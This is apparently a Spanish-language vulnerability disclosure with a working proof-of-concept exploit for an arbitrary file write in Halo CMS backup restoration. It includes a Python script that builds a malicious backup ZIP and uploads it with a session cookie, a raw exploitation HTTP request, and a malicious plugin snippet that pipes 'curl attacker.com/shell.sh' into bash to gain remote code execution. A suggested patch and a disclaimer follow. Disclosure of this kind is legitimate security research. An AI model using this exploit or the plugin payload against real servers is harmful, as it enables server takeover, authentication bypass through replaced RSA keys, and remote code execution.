
Explotación de prueba de concepto para una vulnerabilidad de escritura arbitraria de archivos en la restauración de copias de seguridad de Halo CMS, que permite RCE mediante el reemplazo de JAR de complementos o la omisión de autenticación.
Existe una vulnerabilidad crítica de escritura arbitraria de archivos en la funcionalidad de restauración de copias de seguridad de Halo CMS hasta la versión 2.25.4. El método restoreWorkdir() en MigrationServiceImpl.java copia el directorio workdir/ de un archivo de copia de seguridad proporcionado por el usuario directamente al directorio de trabajo de la aplicación Halo (~/.halo2/) sin ninguna validación de tipos de archivo, protección contra path traversal ni comprobación de enlaces simbólicos. Un atacante autenticado con privilegios de gestión de copias de seguridad puede crear un archivo ZIP de copia de seguridad malicioso que contenga archivos arbitrarios en el directorio workdir/, los cuales se escribirán en el directorio de trabajo del servidor al restaurarse, lo que potencialmente puede conducir a la Ejecución Remota de Código (RCE) mediante el reemplazo de JAR de plugins o a la evasión de autenticación mediante el reemplazo de claves RSA.
Puntuación CVSS v3.1: 8.8 (Alta)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (Control Externo del Nombre o Ruta de Archivo)
La vulnerabilidad reside en el método restoreWorkdir() de MigrationServiceImpl.java (líneas 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // LÍNEA VULNERABLE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
El método copyRecursively() (FileSystemUtils de Spring) realiza una copia recursiva sin:
.. en nombres de archivoLa vulnerabilidad se desencadena a través del endpoint de restauración de copias de seguridad:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
El proceso de restauración sigue esta secuencia:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Extraer ZIP al directorio temporal │
│ 2. restoreExtensions() → Restaurar extensions.data │
│ 3. restoreWorkdir() → Copiar workdir/ a ~/.halo2/ │
│ ↑ Archivos arbitrarios escritos en el directorio de trabajo │
└─────────────────────────────────────────────────────────────┘
Un archivo ZIP de copia de seguridad malicioso debe contener:
malicious-backup.zip
├── extensions.data # Requerido: Puede estar vacío o contener JSONL válido
└── workdir/ # Requerido: El contenido se copia a ~/.halo2/
├── PWNED_BY_POC.txt # Archivo marcador de prueba de concepto
├── plugins/ # JARs de plugins para RCE
│ └── evil-plugin.jar # Plugin malicioso
└── keys/ # Claves RSA para evasión de autenticación
├── pat_id_rsa # Clave privada maliciosa
└── pat_id_rsa.pub # Clave pública maliciosa
El archivo extensions.data debe ser válido para que restoreExtensions() tenga éxito. Los formatos válidos incluyen:
Archivo vacío: (contenido vacío)
Línea vacía: \n (solo salto de línea)
JSONL válido: Un objeto ExtensionStore por línea:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Donde data es contenido codificado en base64.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# extensions.data vacío (pasa la validación de restoreExtensions)
zf.writestr('extensions.data', '\n')
# Archivo arbitrario para escribir en ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'¡Escritura arbitraria de archivos confirmada!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Dirección de Gestión de Copias de Seguridad del Frontend:http://ip:puerto/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<Contenido binario del archivo ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# En el servidor Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/| Vector de Ataque | Archivo Objetivo | Impacto | Severidad |
|---|---|---|---|
| Reemplazo de JAR de Plugin | ~/.halo2/plugins/*.jar | Ejecución Remota de Código | Crítica |
| Reemplazo de Clave RSA | ~/.halo2/keys/pat_id_rsa | Evasión de Autenticación | Crítica |
| Reemplazo de Tema | ~/.halo2/themes/* | XSS Almacenado | Alta |
| Sobrescritura de Configuración | ~/.halo2/*.yaml | Evasión de Controles de Seguridad | Alta |
Un atacante puede reemplazar un JAR de plugin legítimo por uno malicioso que contenga:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Ejecutar comando arbitrario
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
Cuando se carga el plugin, el código malicioso se ejecuta con los privilegios del proceso de Halo.
#!/usr/bin/env python3
"""
PoC de Escritura Arbitraria de Archivos en la Restauración de Copias de Seguridad de Halo CMS
Vulnerabilidad: Escritura Arbitraria de Archivos en Restauración de Copias de Seguridad
CVSS: 8.8 (Alta)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'¡Escritura arbitraria de archivos en la restauración de copias de seguridad de Halo confirmada!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Estado: {r.status_code}")
print(f"Respuesta: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] ¡ÉXITO! Compruebe: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# Ejecutar PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# En el servidor Halo
cat ~/.halo2/PWNED_BY_POC.txt
Añadir validación al método restoreWorkdir():
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Validar que no hay path traversal
checkDirectoryTraversal(backupRoot, workdir);
// Validar que no hay enlaces simbólicos
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("No se permiten enlaces simbólicos");
}
return FileVisitResult.CONTINUE;
}
});
// Copiar con validación
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaEsta divulgación de vulnerabilidad está destinada únicamente a fines de investigación de seguridad. El autor no es responsable de ningún uso indebido de esta información. Siempre obtenga la autorización adecuada antes de probar sistemas en busca de vulnerabilidades.